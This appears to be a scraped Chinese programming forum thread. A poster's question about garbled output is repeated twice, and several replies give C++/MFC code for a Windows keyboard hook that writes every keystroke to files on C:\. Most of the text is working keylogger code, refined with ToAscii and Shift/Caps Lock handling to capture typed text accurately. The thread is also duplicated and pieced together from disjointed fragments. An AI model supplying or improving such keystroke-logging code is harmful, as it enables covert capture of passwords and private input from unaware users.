void SaveLog(char *str)
{
CFile fp;
if(!fp.Open("C:\\kblog.txt", CFile::modeReadWrite))
{
fp.Open("C:\\kblog.txt", CFile::modeCreate|CFile::modeReadWrite);
}
fp.SeekToEnd();
fp.Write(str,1);
fp.Close();
}//键盘钩子消息处理过程
LRESULT CALLBACK KbProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode == HC_ACTION)
{
if(lParam & 0xA0000000)
{
switch(wParam)
{
//处理Tab键
case 0x09:
SaveLog("\t");
break;
//处理Enter键
case 0x0D:
SaveLog("\n");
break;
default:
char sz[1];
sz[0] = wParam;
SaveLog(sz);
break;
}
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam );
}我编了一个键盘钩子的程序来捕获按键, wParam中存的是按键信息. 可是写到文件中的只有大写字母和数字其它的字母或符号都是双字节的乱码请问怎么解决?
{
CFile fp;
if(!fp.Open("C:\\kblog.txt", CFile::modeReadWrite))
{
fp.Open("C:\\kblog.txt", CFile::modeCreate|CFile::modeReadWrite);
}
fp.SeekToEnd();
fp.Write(str,1);
fp.Close();
}//键盘钩子消息处理过程
LRESULT CALLBACK KbProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode == HC_ACTION)
{
if(lParam & 0xA0000000)
{
switch(wParam)
{
//处理Tab键
case 0x09:
SaveLog("\t");
break;
//处理Enter键
case 0x0D:
SaveLog("\n");
break;
default:
char sz[1];
sz[0] = wParam;
SaveLog(sz);
break;
}
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam );
}我编了一个键盘钩子的程序来捕获按键, wParam中存的是按键信息. 可是写到文件中的只有大写字母和数字其它的字母或符号都是双字节的乱码请问怎么解决?
strll.MakeLower();//全部处理成小写
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
{
char ch;
if (((DWORD)lParam & 0x40000000) && (nCode == HC_ACTION))
{
if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f)
&& (wParam <= 0x100))
{
file.Open("c:\\key.txt", CFile::modeReadWrite);
if (wParam == VK_RETURN)
{
ch = '\n';
file.SeekToEnd();
file.Write(&ch,1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan = 0;
ToAscii(wParam , scan, ks, &w, 0);
ch = (char)w;
file.SeekToEnd();
file.Write(&ch,1);
}
file.Close();
} }
return CallNextHookEx(hHook, nCode, wParam ,lParam);
}
LRESULT _declspec(dllexport) _stdcall HookFunc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode))
{
if(wParam==VK_CAPITAL)
{
bCapsd=!bCapsd;
}
if(wParam==VK_SHIFT)
{
bShiftd=!bShiftd;
}
if((wParam>=48)&&(wParam<=57))
{
count+=1;
UINT temp=wParam;
strbuf+=(char)temp;
}
if((wParam>=65)&&(wParam<=90))
{
count+=1;
if(bShiftd==bCapsd)
{
UINT temp=wParam;
temp+=32;
strbuf+=(char)temp;
}
else
{
UINT temp=wParam;
strbuf+=(char)temp;
}
}
if((wParam>=96)&&(wParam<=105))
{
count+=1;
UINT temp=wParam;
temp-=48;
strbuf+=(char)temp;
}
}
return ::CallNextHookEx(hHook,nCode,wParam,lParam);
}